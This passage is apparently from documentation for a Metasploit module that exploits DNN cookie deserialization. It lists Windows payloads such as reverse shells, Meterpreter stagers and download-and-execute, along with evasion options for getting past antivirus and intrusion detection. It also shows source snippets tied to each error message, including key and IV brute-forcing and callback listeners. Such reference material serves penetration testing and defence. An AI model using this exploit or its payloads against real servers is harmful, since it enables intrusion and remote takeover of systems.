23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/dnn_cookie_deserialization_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/dnn_cookie_deserialization_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Target requires encrypted payload. Exploit may not succeed.
- You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).
- Target requires a valid SESSION_TOKEN for exploitation.
- Finding possible base IVs. This may take a few minutes...
- Trying all possible KEY and IV combinations...
- Sending <PASSPHRASES.COUNT> test Payload(s) to: <NORMALIZE_URI-TARGET_URI.PATH>. This may take a few minutes ...
- No valid target found or specified.
- Checking for custom error page at: <URI> ...
- Server Error
- Custom error page detected.
- IIS Error Page detected.
- DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
- DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).
- Could not determine DNN version. Target may still be vulnerable. Manually set the Target value
- Key not found
- DryRun enabled. No exploit payloads have been sent to the target.
- Printing first HTTP callback cookie payload encrypted with KEY: <VALUE> and IV: <VALUE>...
- <OPTS:HOST> - target unreachable.
- <OPTS:HOST> - payload resulted in a bad request - <RES.BODY>
- <OPTS:HOST> - Something went wrong- <RES.BODY>
- Target requires encrypted payload, but a passphrase was not found or specified.
- DryRun enabled. No exploit payloads have been sent to the target.
- Printing exploit cookie payload...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target requires encrypted payload. Exploit may not succeed.
Here is a relevant code snippet related to the "Target requires encrypted payload. Exploit may not succeed." error message:
218: @dry_run = datastore['DryRun']
219: key = datastore['KEY']
220: iv = datastore['IV']
221:
222: if target['ReqEncrypt'] && @encrypted == false
223: print_warning('Target requires encrypted payload. Exploit may not succeed.')
224: end
225:
226: if @encrypted
227: # Requires either supplied key and IV, or verification code and plaintext
228: if (!key.blank? && !iv.blank?)
You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).
Here is a relevant code snippet related to the "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV)." error message:
230: # Key and IV were supplied, don't try and decrypt.
231: @try_decrypt = false
232: elsif (!@verification_codes.empty? && [email protected]?)
233: @try_decrypt = true
234: else
235: fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')
236: end
237: end
238:
239: if target['ReqSession'] && @session_token.blank?
240: fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')
Target requires a valid SESSION_TOKEN for exploitation.
Here is a relevant code snippet related to the "Target requires a valid SESSION_TOKEN for exploitation." error message:
235: fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')
236: end
237: end
238:
239: if target['ReqSession'] && @session_token.blank?
240: fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')
241: end
242:
243: if @encrypted && @try_decrypt
244: # Set IV for decryption as the known plaintext, manually
245: # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
Finding possible base IVs. This may take a few minutes...
Here is a relevant code snippet related to the "Finding possible base IVs. This may take a few minutes..." error message:
262:
263: # re-enable padding here as it doesn't have the
264: # same performance impact when trying to find possible IV values.
265: @decryptor.padding = 1
266:
267: print_warning('Finding possible base IVs. This may take a few minutes...')
268: start = Time.now
269: find_ivs(@verification_codes, key)
270: elapsed = Time.now - start
271: vprint_status(
272: format(
Trying all possible KEY and IV combinations...
Here is a relevant code snippet related to the "Trying all possible KEY and IV combinations..." error message:
288: # that will callback to an HTTP listener
289: # with the index of the passphrase that worked.
290:
291: # set SRVHOST as LHOST value for HTTPServer mixin
292: datastore['SRVHOST'] = datastore['LHOST']
293: print_warning('Trying all possible KEY and IV combinations...')
294: print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
295: start_service
296: vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
297:
298: test_passphrases
Sending <PASSPHRASES.COUNT> test Payload(s) to: <NORMALIZE_URI-TARGET_URI.PATH>. This may take a few minutes ...
Here is a relevant code snippet related to the "Sending <PASSPHRASES.COUNT> test Payload(s) to: <NORMALIZE_URI-TARGET_URI.PATH>. This may take a few minutes ..." error message:
291: # set SRVHOST as LHOST value for HTTPServer mixin
292: datastore['SRVHOST'] = datastore['LHOST']
293: print_warning('Trying all possible KEY and IV combinations...')
294: print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
295: start_service
296: vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
297:
298: test_passphrases
299:
300: # If no working passphrase has been found,
301: # wait to allow the the chance for the last one to callback.
No valid target found or specified.
Here is a relevant code snippet related to the "No valid target found or specified." error message:
323: end
324:
325: @target_idx = Integer(datastore['TARGET'])
326:
327: if @target_idx == 0
328: fail_with(Failure::NoTarget, 'No valid target found or specified.')
329: end
330:
331: # Check if 404 page is custom or not.
332: # Vulnerability requires custom 404 handling (enabled by default).
333: uri = normalize_uri(target_uri.path)
Checking for custom error page at: <URI> ...
Here is a relevant code snippet related to the "Checking for custom error page at: <URI> ..." error message:
329: end
330:
331: # Check if 404 page is custom or not.
332: # Vulnerability requires custom 404 handling (enabled by default).
333: uri = normalize_uri(target_uri.path)
334: print_status("Checking for custom error page at: #{uri} ...")
335: res = send_request_cgi(
336: 'uri' => uri
337: )
338:
339: if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
Server Error
Here is a relevant code snippet related to the "Server Error" error message:
334: print_status("Checking for custom error page at: #{uri} ...")
335: res = send_request_cgi(
336: 'uri' => uri
337: )
338:
339: if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
340: print_good('Custom error page detected.')
341: else
342: print_error('IIS Error Page detected.')
343: return Exploit::CheckCode::Safe
344: end
Custom error page detected.
Here is a relevant code snippet related to the "Custom error page detected." error message:
335: res = send_request_cgi(
336: 'uri' => uri
337: )
338:
339: if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
340: print_good('Custom error page detected.')
341: else
342: print_error('IIS Error Page detected.')
343: return Exploit::CheckCode::Safe
344: end
345: return Exploit::CheckCode::Appears
IIS Error Page detected.
Here is a relevant code snippet related to the "IIS Error Page detected." error message:
337: )
338:
339: if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
340: print_good('Custom error page detected.')
341: else
342: print_error('IIS Error Page detected.')
343: return Exploit::CheckCode::Safe
344: end
345: return Exploit::CheckCode::Appears
346: end
347:
DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
Here is a relevant code snippet related to the "DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED" error message:
385: Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
386: Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values."}
387: )
388: datastore['TARGET'] = 3
389: elsif year == 2017
390: print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
391: datastore['TARGET'] = 2
392: elsif year < 2017 && year > 2008
393: print_good('DNN Version Found: v5.1.0 - v9.0.1')
394: datastore['TARGET'] = 1
395: elsif year == 2008
DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).
Here is a relevant code snippet related to the "DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable)." error message:
391: datastore['TARGET'] = 2
392: elsif year < 2017 && year > 2008
393: print_good('DNN Version Found: v5.1.0 - v9.0.1')
394: datastore['TARGET'] = 1
395: elsif year == 2008
396: print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')
397: datastore['TARGET'] = 1
398: else
399: print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')
400: end
401: end
Could not determine DNN version. Target may still be vulnerable. Manually set the Target value
Here is a relevant code snippet related to the "Could not determine DNN version. Target may still be vulnerable. Manually set the Target value" error message:
394: datastore['TARGET'] = 1
395: elsif year == 2008
